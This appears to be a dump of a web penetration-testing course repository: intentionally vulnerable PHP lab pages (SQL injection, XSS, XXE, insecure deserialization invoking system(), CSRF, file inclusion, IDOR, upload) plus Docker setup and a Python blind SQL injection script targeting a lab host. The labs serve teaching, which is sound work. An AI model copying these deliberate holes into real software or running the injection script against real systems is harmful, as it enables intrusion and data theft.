├── README.md
├── Udemy - Web Pentesting Course Slides.pptx
├── Web Pentesting Course Slides.pptx
├── labs
├── cors
│ ├── index.php
│ ├── info.php
│ ├── login.php
│ ├── profile.php
│ └── style
│ │ └── css.css
├── csrf
│ ├── index.php
│ ├── login.php
│ ├── profile.php
│ └── settings.php
├── file inclusion
│ ├── add.php
│ ├── files
│ │ └── index.php
│ ├── fun.php
│ ├── index.php
│ ├── login.php
│ ├── msg.txt
│ └── profile.php
├── idor
│ ├── index.php
│ ├── login.php
│ └── profile.php
├── insecuredes
│ ├── backup.bak
│ ├── classes.php
│ ├── index.php
│ ├── login.php
│ └── profile.php
├── jsonp
│ ├── index.php
│ ├── info.php
│ ├── login.php
│ └── profile.php
├── postmessage
│ └── index.php
├── setup.txt
├── sql
│ ├── exp.py
│ ├── index.php
│ ├── login.php
│ ├── profile.php
│ └── search.php
├── style
│ └── css.css
├── upload
│ ├── index.php
│ ├── login.php
│ └── profile.php
├── xss
│ ├── XSS Fileters&Bypasses
│ │ ├── endpoint.php
│ │ ├── xss1.php
│ │ ├── xss2.php
│ │ ├── xss3.php
│ │ ├── xss4.php
│ │ ├── xss5.php
│ │ └── xss6.php
│ ├── about.php
│ ├── contact.php
│ ├── index.php
│ ├── login.php
│ ├── profile.php
│ ├── search.php
│ └── secret
│ │ └── admin_panel.php
└── xxe
│ ├── check.php
│ ├── index.php
│ ├── login.php
│ └── profile.php
└── labs_docker
├── Dockerfile
├── apache.conf
├── db.sql
├── main.sh
└── src
├── config.php
├── cors
├── index.php
├── info.php
├── login.php
├── profile.php
└── style
│ └── css.css
├── csrf
├── index.php
├── login.php
├── profile.php
└── settings.php
├── file inclusion
├── add.php
├── files
│ └── index.php
├── fun.php
├── index.php
├── login.php
├── msg.txt
└── profile.php
├── idor
├── index.php
├── login.php
└── profile.php
├── index.html
├── insecuredes
├── backup.bak
├── classes.php
├── index.php
├── login.php
└── profile.php
├── jsonp
├── index.php
├── info.php
├── login.php
└── profile.php
├── postmessage
└── index.php
├── sql
├── exp.py
├── index.php
├── login.php
├── profile.php
└── search.php
├── style
└── css.css
├── upload
├── index.php
├── login.php
└── profile.php
├── xss
├── XSS Fileters&Bypasses
│ ├── endpoint.php
│ ├── xss1.php
│ ├── xss2.php
│ ├── xss3.php
│ ├── xss4.php
│ ├── xss5.php
│ └── xss6.php
├── about.php
├── contact.php
├── index.php
├── login.php
├── profile.php
├── search.php
└── secret
│ └── admin_panel.php
└── xxe
├── check.php
├── index.php
├── login.php
└── profile.php
/README.md:
--------------------------------------------------------------------------------
1 | # Web Pen-Testing Course Files
2 |
3 | Course Link: https://www.youtube.com/playlist?list=PLsB1gqjeUAh_yEuLgtZ0ppLlExcYOL2Kp
4 |
5 | Udemy Course: https://www.udemy.com/course/web-application-penetration-testing-in-arabic/ (call me if you want it free [Twitter](https://twitter.com/FlEx0Geek))
6 |
7 | Full Course on Youtube (Udemy course): https://www.youtube.com/playlist?list=PLsB1gqjeUAh_99a9LbVbxg-nBV79o0kW3
8 |
--------------------------------------------------------------------------------
/Udemy - Web Pentesting Course Slides.pptx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/flex0geek/Web-PenTesting-Course-Files/82af033c24a137bd3e2e4a86c2989e4407311367/Udemy - Web Pentesting Course Slides.pptx
--------------------------------------------------------------------------------
/Web Pentesting Course Slides.pptx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/flex0geek/Web-PenTesting-Course-Files/82af033c24a137bd3e2e4a86c2989e4407311367/Web Pentesting Course Slides.pptx
--------------------------------------------------------------------------------
/labs/cors/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
16 |
17 |
18 |
19 |
20 |
21 |
38 |
39 |
--------------------------------------------------------------------------------
/labs/cors/info.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
10 | }
11 | }
12 | ?>
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
27 |
28 |
29 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/labs/cors/profile.php:
--------------------------------------------------------------------------------
1 |
11 |
12 |
13 |
14 | Books Library
15 |
16 |
17 |
18 |
19 |
27 |
28 |
29 |
30 |
31 |
32 |
49 |
50 |
--------------------------------------------------------------------------------
/labs/cors/style/css.css:
--------------------------------------------------------------------------------
1 | #name{
2 | width: 300px;
3 | height: 30px;
4 | text-align: center;
5 | border-radius: 4px;
6 | }
7 | input{border-style: solid;background: #f1f1f1;}
8 | input[type="submit"]{
9 | width: 60px;
10 | height: 30px;
11 | }
12 |
13 | #fname, #email{
14 | height: 40px;
15 | text-align: center;
16 | }
17 | #send{
18 | background-color: dodgerblue;
19 | height: 40px
20 | }
21 | #msg{
22 | height: 200px;
23 | background: #f1f1f1;
24 | }
25 |
26 | #pwd,#uname,#fname, #email, #msg, #send{
27 | width: 400px;
28 | margin: 2px;
29 | border-style: solid;
30 | }
31 |
32 | #search{
33 | color: black;
34 | text-align: center;
35 | text-decoration: none;
36 | border-radius: 4px;
37 | }
38 | body{background: #f1f1f1;}
39 | #type{
40 | width: 400px;
41 | }
42 |
43 | /* Style the header with a grey background and some padding */
44 | .header {
45 | overflow: hidden;
46 | background-color: #f1f1f1;
47 | padding: 20px 10px;
48 | }
49 |
50 | /* Style the header links */
51 | .header a {
52 | float: left;
53 | color: black;
54 | text-align: center;
55 | padding: 12px;
56 | text-decoration: none;
57 | font-size: 18px;
58 | line-height: 25px;
59 | border-radius: 4px;
60 | }
61 |
62 | /* Style the logo link (notice that we set the same value of line-height and font-size to prevent the header to increase when the font gets bigger */
63 | .header a.logo {
64 | font-size: 25px;
65 | font-weight: bold;
66 | }
67 |
68 | /* Change the background color on mouse-over */
69 | .header a:hover {
70 | background-color: #ddd;
71 | color: black;
72 | }
73 |
74 | /* Style the active/current link*/
75 | .header a.active {
76 | background-color: dodgerblue;
77 | color: white;
78 | }
79 |
80 | /* Float the link section to the right */
81 | .header-right {
82 | float: right;
83 | }
84 |
85 | /* Add media queries for responsiveness - when the screen is 500px wide or less, stack the links on top of each other */
86 | @media screen and (max-width: 500px) {
87 | .header a {
88 | float: none;
89 | display: block;
90 | text-align: left;
91 | }
92 | .header-right {
93 | float: none;
94 | }
95 | }
96 |
97 | .be-comment-block {
98 | margin-bottom: 50px !important;
99 | border: 1px solid #edeff2;
100 | border-radius: 2px;
101 | padding: 50px 70px;
102 | border:1px solid #ffffff;
103 | }
104 |
105 | .comments-title {
106 | font-size: 16px;
107 | color: #262626;
108 | margin-bottom: 15px;
109 | font-family: 'Conv_helveticaneuecyr-bold';
110 | }
111 |
112 | .be-img-comment {
113 | width: 60px;
114 | height: 60px;
115 | float: left;
116 | margin-bottom: 15px;
117 | }
118 |
119 | .be-ava-comment {
120 | width: 60px;
121 | height: 60px;
122 | border-radius: 50%;
123 | }
124 |
125 | .be-comment-content {
126 | margin-left: 80px;
127 | }
128 |
129 | .be-comment-content span {
130 | display: inline-block;
131 | width: 49%;
132 | margin-bottom: 15px;
133 | }
134 |
135 | .be-comment-name {
136 | font-size: 13px;
137 | font-family: 'Conv_helveticaneuecyr-bold';
138 | }
139 |
140 | .be-comment-content a {
141 | color: #383b43;
142 | }
143 |
144 | .be-comment-content span {
145 | display: inline-block;
146 | width: 49%;
147 | margin-bottom: 15px;
148 | }
149 |
150 | .be-comment-time {
151 | text-align: right;
152 | }
153 |
154 | .be-comment-time {
155 | font-size: 11px;
156 | color: #b4b7c1;
157 | }
158 |
159 | .be-comment-text {
160 | font-size: 13px;
161 | line-height: 18px;
162 | color: #7a8192;
163 | display: block;
164 | background: #f6f6f7;
165 | border: 1px solid #edeff2;
166 | padding: 15px 20px 20px 20px;
167 | }
168 |
169 | .form-group.fl_icon .icon {
170 | position: absolute;
171 | top: 1px;
172 | left: 16px;
173 | width: 48px;
174 | height: 48px;
175 | background: #f6f6f7;
176 | color: #b5b8c2;
177 | text-align: center;
178 | line-height: 50px;
179 | -webkit-border-top-left-radius: 2px;
180 | -webkit-border-bottom-left-radius: 2px;
181 | -moz-border-radius-topleft: 2px;
182 | -moz-border-radius-bottomleft: 2px;
183 | border-top-left-radius: 2px;
184 | border-bottom-left-radius: 2px;
185 | }
186 | .form-input{
187 | border: 1px solid #000;
188 | border-radius: 3px;
189 | }
190 | .form-group{
191 | border: 1px solid #edeff2;
192 | border-radius: 3px;
193 | }
194 | .form-group .form-input {
195 | font-size: 13px;
196 | line-height: 50px;
197 | font-weight: 400;
198 | color: #000;
199 | width: 100%;
200 | height: 50px;
201 | padding-left: 20px;
202 | padding-right: 20px;
203 | }
204 |
205 | .form-group.fl_icon .form-input {
206 | padding-left: 70px;
207 | }
208 |
209 | .form-group textarea.form-input {
210 | height: 150px;
211 | }
--------------------------------------------------------------------------------
/labs/csrf/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
16 |
17 |
18 |
19 |
20 |
21 |
38 |
39 |
--------------------------------------------------------------------------------
/labs/csrf/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
10 | }
11 | }
12 | ?>
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
27 |
28 |
29 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/labs/csrf/profile.php:
--------------------------------------------------------------------------------
1 |
26 |
27 |
28 | Books Library
29 |
30 |
31 |
32 |
33 |
42 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/labs/csrf/settings.php:
--------------------------------------------------------------------------------
1 | alert('CSRF Token invalid.')";
17 | // }else{
18 | // $csrftoken = $_POST['csrftoken'];
19 | // $newEmail = addslashes($_POST['nemail']);
20 |
21 | // $sql2update = "UPDATE users_csrf SET email='$newEmail' WHERE username='guest';";
22 | // $res2update = mysqli_query($conn, $sql2update);
23 | // }
24 | // }
25 |
26 | $token = md5(random_bytes(100));
27 | // $_SESSION['t'] = $token;
28 |
29 |
30 | $sql2getEmail = "SELECT email FROM users_csrf";
31 | $res2getEmail = mysqli_query($conn, $sql2getEmail);
32 | $rows = mysqli_fetch_array($res2getEmail);
33 |
34 | ?>
35 |
36 |
37 | Books Library
38 |
39 |
40 |
41 |
50 |
65 |
66 |
--------------------------------------------------------------------------------
/labs/file inclusion/add.php:
--------------------------------------------------------------------------------
1 |
17 |
18 |
19 | Books Library
20 |
21 |
22 |
23 |
24 |
33 |
42 |
43 |
--------------------------------------------------------------------------------
/labs/file inclusion/files/index.php:
--------------------------------------------------------------------------------
1 | Forbidden.
--------------------------------------------------------------------------------
/labs/file inclusion/fun.php:
--------------------------------------------------------------------------------
1 |
14 |
15 |
16 | Books Library
17 |
18 |
19 |
20 |
21 |
30 |
31 |
32 |
33 |
34 |
35 |
52 |
53 |
--------------------------------------------------------------------------------
/labs/file inclusion/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
13 | }
14 | }
15 | ?>
16 |
17 |
18 | Books Library
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs/file inclusion/msg.txt:
--------------------------------------------------------------------------------
1 | Welcome To our website.We will servie you as best as we can, if you have any issue send to us.
--------------------------------------------------------------------------------
/labs/file inclusion/profile.php:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 | Books Library
13 |
14 |
15 |
16 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/labs/idor/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
16 |
17 |
18 |
19 |
20 |
21 |
38 |
39 |
--------------------------------------------------------------------------------
/labs/idor/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
13 | }
14 | }
15 | ?>
16 |
17 |
18 | Books Library
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs/idor/profile.php:
--------------------------------------------------------------------------------
1 |
29 |
30 |
31 | Books Library
32 |
33 |
34 |
35 |
36 |
44 |
45 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/labs/insecuredes/backup.bak:
--------------------------------------------------------------------------------
1 | command2GetDate = $d;
18 | }
19 |
20 | function __wakeup(){
21 | system($this->command2GetDate);
22 | }
23 | }
24 |
25 |
--------------------------------------------------------------------------------
/labs/insecuredes/classes.php:
--------------------------------------------------------------------------------
1 | command2GetDate = $d;
16 | }
17 |
18 | function __wakeup(){
19 | system($this->command2GetDate);
20 | }
21 | }
22 |
23 | ?>
--------------------------------------------------------------------------------
/labs/insecuredes/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
15 |
16 |
17 |
18 |
19 |
20 |
37 |
38 |
--------------------------------------------------------------------------------
/labs/insecuredes/login.php:
--------------------------------------------------------------------------------
1 | u = $_POST['uname'];
12 | $userObj->r = "guest";
13 | $userObj->dn = "Guest User";
14 |
15 | setcookie("sessionid",base64_encode(serialize($userObj)),time()+3600);
16 |
17 | header("Location: profile.php");
18 |
19 | }else{
20 | echo "";
21 | }
22 | }
23 | ?>
24 |
25 |
26 | Books Library
27 |
28 |
29 |
30 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/labs/insecuredes/profile.php:
--------------------------------------------------------------------------------
1 | r;
13 | $uname = $deser->u;
14 | $dn = $deser->dn;
15 |
16 | if($role == 'admin'){
17 | $dn = "Admin";
18 | }
19 |
20 | ?>
21 |
22 |
23 |
24 | Books Library
25 |
26 |
27 |
28 |
36 |
37 | Welcome .
38 |
39 |
40 |
42 |
43 |
44 |
--------------------------------------------------------------------------------
/labs/jsonp/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
15 |
16 |
17 |
18 |
19 |
20 |
37 |
38 |
--------------------------------------------------------------------------------
/labs/jsonp/info.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
11 | }
12 | }
13 |
14 |
15 | ?>
16 |
17 |
18 | Books Library
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs/jsonp/profile.php:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 | Books Library
13 |
14 |
15 |
16 |
24 |
25 |
26 |
27 |
28 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/labs/postmessage/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
14 |
15 |
16 |
17 |
18 |
19 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/labs/setup.txt:
--------------------------------------------------------------------------------
1 | Create Database called test;
2 | Create Table called comments (uname, comment, link) # Add Dummy Values
3 | Create Table called books (name, auther, story) # Add Dummy Values
4 | Create Table called contact (name, email, message, user_agent)
5 | Create Table called users (username, pass) # Add Dummy User guest:guest
6 | Create Table called users_csrf (username, email, password) # Add Dummy User guest:guest
--------------------------------------------------------------------------------
/labs/sql/exp.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | url = 'http://vuln.labs/labs/sql/login.php'
4 |
5 | alpha = "abcdefghijklmnopqrstuvwxyz"
6 | username = []
7 | length = 0
8 |
9 | place = 3
10 |
11 | # get length
12 | for i in range(1, 20):
13 | link = url
14 | payload = "f' or length((select table_name from information_schema.tables where table_schema=database() limit "+str(place)+",1))="+str(i)+" limit 1,1#"
15 | params = {"pwd":"f",'uname':payload}
16 | req = requests.post(link, data=params)
17 | print(payload)
18 | if "Username/Password" not in req.text:
19 | length = i
20 | break
21 |
22 | # extract info from database
23 | for i in range(1, length+1):
24 | for f in alpha:
25 | link = url
26 | payload = "f' or ascii(substring((select table_name from information_schema.tables where table_schema=database() limit "+str(place)+",1),"+str(i)+",1))="+str(ord(f))+" limit 1,1#"
27 | params = {"pwd":"f",'uname':payload}
28 | req = requests.post(link, data=params)
29 |
30 | if "Username/Password" not in req.text:
31 | print("Char: " + f)
32 | username.append(f)
33 |
34 |
--------------------------------------------------------------------------------
/labs/sql/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
17 |
18 |
19 |
20 |
21 |
22 |
39 |
40 |
--------------------------------------------------------------------------------
/labs/sql/login.php:
--------------------------------------------------------------------------------
1 | 0) {
15 | $_SESSION['islogin'] = 1;
16 | $_SESSION['username'] = $rows['username'];
17 | header("Location: profile.php");
18 | }else{
19 | echo "";
20 | }
21 | }
22 | ?>
23 |
24 |
25 | Books Library
26 |
27 |
28 |
29 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/labs/sql/profile.php:
--------------------------------------------------------------------------------
1 |
10 |
11 |
12 |
13 | Books Library
14 |
15 |
16 |
17 |
26 |
27 |
28 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/labs/sql/search.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
18 | Books Application
19 |
20 |
21 |
22 |
31 |
32 |
33 | Name:
34 |
35 |
36 |
37 |
38 |
39 | Auther: ".$rows['auther']." ";
43 | echo "Book Name: ".$rows['name']." ";
44 | echo "Story: ".$rows['story']." ";
45 | }
46 | }
47 |
48 | ?>
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/labs/style/css.css:
--------------------------------------------------------------------------------
1 | #name{
2 | width: 300px;
3 | height: 30px;
4 | text-align: center;
5 | border-radius: 4px;
6 | }
7 | input{border-style: solid;background: #f1f1f1;}
8 | input[type="submit"]{
9 | width: 60px;
10 | height: 30px;
11 | }
12 |
13 | #fname, #email{
14 | height: 40px;
15 | text-align: center;
16 | }
17 | #send{
18 | background-color: dodgerblue;
19 | height: 40px
20 | }
21 | #msg{
22 | height: 200px;
23 | background: #f1f1f1;
24 | }
25 |
26 | #pwd,#uname,#fname, #email, #msg, #send{
27 | width: 400px;
28 | margin: 2px;
29 | border-style: solid;
30 | }
31 |
32 | #search{
33 | color: black;
34 | text-align: center;
35 | text-decoration: none;
36 | border-radius: 4px;
37 | }
38 | body{background: #f1f1f1;}
39 | #type{
40 | width: 400px;
41 | }
42 |
43 | /* Style the header with a grey background and some padding */
44 | .header {
45 | overflow: hidden;
46 | background-color: #f1f1f1;
47 | padding: 20px 10px;
48 | }
49 |
50 | /* Style the header links */
51 | .header a {
52 | float: left;
53 | color: black;
54 | text-align: center;
55 | padding: 12px;
56 | text-decoration: none;
57 | font-size: 18px;
58 | line-height: 25px;
59 | border-radius: 4px;
60 | }
61 |
62 | /* Style the logo link (notice that we set the same value of line-height and font-size to prevent the header to increase when the font gets bigger */
63 | .header a.logo {
64 | font-size: 25px;
65 | font-weight: bold;
66 | }
67 |
68 | /* Change the background color on mouse-over */
69 | .header a:hover {
70 | background-color: #ddd;
71 | color: black;
72 | }
73 |
74 | /* Style the active/current link*/
75 | .header a.active {
76 | background-color: dodgerblue;
77 | color: white;
78 | }
79 |
80 | /* Float the link section to the right */
81 | .header-right {
82 | float: right;
83 | }
84 |
85 | /* Add media queries for responsiveness - when the screen is 500px wide or less, stack the links on top of each other */
86 | @media screen and (max-width: 500px) {
87 | .header a {
88 | float: none;
89 | display: block;
90 | text-align: left;
91 | }
92 | .header-right {
93 | float: none;
94 | }
95 | }
96 |
97 | .be-comment-block {
98 | margin-bottom: 50px !important;
99 | border: 1px solid #edeff2;
100 | border-radius: 2px;
101 | padding: 50px 70px;
102 | border:1px solid #ffffff;
103 | }
104 |
105 | .comments-title {
106 | font-size: 16px;
107 | color: #262626;
108 | margin-bottom: 15px;
109 | font-family: 'Conv_helveticaneuecyr-bold';
110 | }
111 |
112 | .be-img-comment {
113 | width: 60px;
114 | height: 60px;
115 | float: left;
116 | margin-bottom: 15px;
117 | }
118 |
119 | .be-ava-comment {
120 | width: 60px;
121 | height: 60px;
122 | border-radius: 50%;
123 | }
124 |
125 | .be-comment-content {
126 | margin-left: 80px;
127 | }
128 |
129 | .be-comment-content span {
130 | display: inline-block;
131 | width: 49%;
132 | margin-bottom: 15px;
133 | }
134 |
135 | .be-comment-name {
136 | font-size: 13px;
137 | font-family: 'Conv_helveticaneuecyr-bold';
138 | }
139 |
140 | .be-comment-content a {
141 | color: #383b43;
142 | }
143 |
144 | .be-comment-content span {
145 | display: inline-block;
146 | width: 49%;
147 | margin-bottom: 15px;
148 | }
149 |
150 | .be-comment-time {
151 | text-align: right;
152 | }
153 |
154 | .be-comment-time {
155 | font-size: 11px;
156 | color: #b4b7c1;
157 | }
158 |
159 | .be-comment-text {
160 | font-size: 13px;
161 | line-height: 18px;
162 | color: #7a8192;
163 | display: block;
164 | background: #f6f6f7;
165 | border: 1px solid #edeff2;
166 | padding: 15px 20px 20px 20px;
167 | }
168 |
169 | .form-group.fl_icon .icon {
170 | position: absolute;
171 | top: 1px;
172 | left: 16px;
173 | width: 48px;
174 | height: 48px;
175 | background: #f6f6f7;
176 | color: #b5b8c2;
177 | text-align: center;
178 | line-height: 50px;
179 | -webkit-border-top-left-radius: 2px;
180 | -webkit-border-bottom-left-radius: 2px;
181 | -moz-border-radius-topleft: 2px;
182 | -moz-border-radius-bottomleft: 2px;
183 | border-top-left-radius: 2px;
184 | border-bottom-left-radius: 2px;
185 | }
186 | .form-input{
187 | border: 1px solid #000;
188 | border-radius: 3px;
189 | }
190 | .form-group{
191 | border: 1px solid #edeff2;
192 | border-radius: 3px;
193 | }
194 | .form-group .form-input {
195 | font-size: 13px;
196 | line-height: 50px;
197 | font-weight: 400;
198 | color: #000;
199 | width: 100%;
200 | height: 50px;
201 | padding-left: 20px;
202 | padding-right: 20px;
203 | }
204 |
205 | .form-group.fl_icon .form-input {
206 | padding-left: 70px;
207 | }
208 |
209 | .form-group textarea.form-input {
210 | height: 150px;
211 | }
--------------------------------------------------------------------------------
/labs/upload/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
16 |
17 |
18 |
19 |
20 |
21 |
38 |
39 |
--------------------------------------------------------------------------------
/labs/upload/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
10 | }
11 | }
12 | ?>
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/labs/upload/profile.php:
--------------------------------------------------------------------------------
1 |
39 |
40 |
41 | Books Library
42 |
43 |
44 |
45 |
53 |
54 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/labs/xss/XSS Fileters&Bypasses/endpoint.php:
--------------------------------------------------------------------------------
1 | '\"";
9 | $ch = strpbrk($val, $illegal);
10 |
11 | if( $ch ){
12 | echo "'XSS DETECTED'";
13 | }else{
14 | echo "'".$val."'";
15 | }
16 | }
17 |
18 | ?>
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/labs/xss/XSS Fileters&Bypasses/xss2.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/labs/xss/XSS Fileters&Bypasses/xss3.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/labs/xss/XSS Fileters&Bypasses/xss4.php:
--------------------------------------------------------------------------------
1 |
12 |
13 |
--------------------------------------------------------------------------------
/labs/xss/XSS Fileters&Bypasses/xss5.php:
--------------------------------------------------------------------------------
1 |
17 |
18 |
--------------------------------------------------------------------------------
/labs/xss/XSS Fileters&Bypasses/xss6.php:
--------------------------------------------------------------------------------
1 |
16 |
17 |
--------------------------------------------------------------------------------
/labs/xss/about.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
19 |
20 |
21 |
22 |
23 |
24 |
30 |
31 |
--------------------------------------------------------------------------------
/labs/xss/contact.php:
--------------------------------------------------------------------------------
1 | alert('Your message sent to Admin.')";
21 | }
22 | ?>
23 |
24 |
25 |
26 | Books Library
27 |
28 |
29 |
30 |
31 |
32 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
60 |
61 |
--------------------------------------------------------------------------------
/labs/xss/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
8 |
19 |
20 |
21 |
22 |
23 |
24 |
41 |
42 |
--------------------------------------------------------------------------------
/labs/xss/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
10 | }
11 | }
12 | ?>
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs/xss/profile.php:
--------------------------------------------------------------------------------
1 |
27 |
28 |
29 |
30 | Books Library
31 |
32 |
33 |
34 |
45 |
46 |
70 |
71 |
72 |
--------------------------------------------------------------------------------
/labs/xss/search.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Application
4 |
5 |
6 |
7 |
8 |
19 |
20 |
21 | Name:
22 |
23 |
24 |
25 |
26 |
27 | ".htmlspecialchars($_GET['u'])."";
30 | }
31 | ?>
32 |
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/labs/xss/secret/admin_panel.php:
--------------------------------------------------------------------------------
1 |
12 |
13 |
14 |
15 | Books Library
16 |
17 |
18 |
19 |
30 |
31 |
32 |
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/labs/xxe/check.php:
--------------------------------------------------------------------------------
1 | loadXML($xm, LIBXML_NOENT | LIBXML_DTDLOAD);
9 | $login = simplexml_import_dom($dom);
10 | $user = $login->user;
11 | $pass = $login->pass;
12 |
13 | if( $user == "guest" && $pass == "guest" ){
14 | $_SESSION['islogin'] = 1;
15 | $_SESSION['username'] = $user;
16 | header("Location: profile.php");
17 | }else{
18 | echo "t";
19 | }
--------------------------------------------------------------------------------
/labs/xxe/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Books Library
4 |
5 |
6 |
7 |
15 |
16 |
17 |
18 |
19 |
20 |
37 |
38 |
--------------------------------------------------------------------------------
/labs/xxe/login.php:
--------------------------------------------------------------------------------
1 | alert('Username/Password is invalid.')";
11 | }
12 | }
13 |
14 |
15 | ?>
16 |
17 |
18 | Books Library
19 |
20 |
21 |
22 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
--------------------------------------------------------------------------------
/labs/xxe/profile.php:
--------------------------------------------------------------------------------
1 | loadXML($xm, LIBXML_NOENT | LIBXML_DTDLOAD);
46 | $userInfo = @simplexml_import_dom($dom);
47 | $user = @$userInfo->user;
48 | $email = @$userInfo->email;
49 | $role = @$userInfo->role;
50 | $output = "User Name: $user
Email: $email
Role: $role
";
51 | }else{
52 | $myfile = fopen($target_path, "r");
53 | $content = fread($myfile, filesize($target_path));
54 | $xm = $content;
55 | $dom = new DOMDocument();
56 | try{
57 | @$dom->loadXML($xm, LIBXML_NOENT | LIBXML_DTDLOAD);
58 | }catch (Exception $e){
59 | echo "There is error in: ". $e->getMessage() . '\n';
60 | }
61 | $userInfo = @simplexml_import_dom($dom);
62 | $output = "User Sucessfully Added.";
63 | }
64 | unlink($target_path);
65 | }
66 | }else{
67 | $msg .= "File already exists.";
68 | }
69 | }
70 | }
71 | ?>
72 |
73 |
74 |
75 | Books Library
76 |
77 |
78 |
79 |
87 |
88 |
103 |
104 |
--------------------------------------------------------------------------------
/labs_docker/Dockerfile:
--------------------------------------------------------------------------------
1 | # you can change the name and port.
2 | # docker build . -t labs_docker && docker run -p 80:80 -t labs_docker
3 |
4 | FROM 1275178869/base_image_apache_php_mysql:sjx
5 |
6 | USER root
7 |
8 |
9 | RUN apt-get -y update
10 | RUN apt-get install -y python3-dev python3-pip && rm /var/www/html/index.html
11 |
12 |
13 | COPY src /var/www/html
14 |
15 | COPY db.sql /docker-entrypoint-initdb.d
16 | COPY apache.conf /usr/local/apache2/conf/apache.conf
17 | RUN echo "Include /usr/local/apache2/conf/apache.conf" \
18 | >> /usr/local/apache2/conf/httpd.conf
19 |
20 | RUN chmod 777 /var/www/html/userfiles/
21 |
22 | EXPOSE 80
23 |
24 | CMD ["apachectl", "-D", "FOREGROUND"]
25 |
26 | COPY main.sh /
27 | RUN chmod +x /main.sh
28 | ENTRYPOINT ["/main.sh"]
29 |
--------------------------------------------------------------------------------
/labs_docker/apache.conf:
--------------------------------------------------------------------------------
1 | ServerName localhost
2 |
3 | LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.so
4 | LoadModule proxy_module /usr/local/apache2/modules/mod_proxy.so
5 | LoadModule proxy_fcgi_module /usr/local/apache2/modules/mod_proxy_fcgi.so
6 |
7 |
8 | # Proxy .php requests to port 9000 of the php-fpm container
9 | ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://php:9000/var/www/html/$1
10 |
11 | DocumentRoot /var/www/html/
12 |
13 | DirectoryIndex index.php
14 | Options Indexes FollowSymLinks
15 | AllowOverride All
16 | Require all granted
17 |
18 |
19 |
20 | # Send apache logs to stdout and stderr
21 | CustomLog /proc/self/fd/1 common
22 | ErrorLog /proc/self/fd/2
23 |
24 |
--------------------------------------------------------------------------------
/labs_docker/db.sql:
--------------------------------------------------------------------------------
1 | -- phpMyAdmin SQL Dump
2 | -- version 4.5.5.1
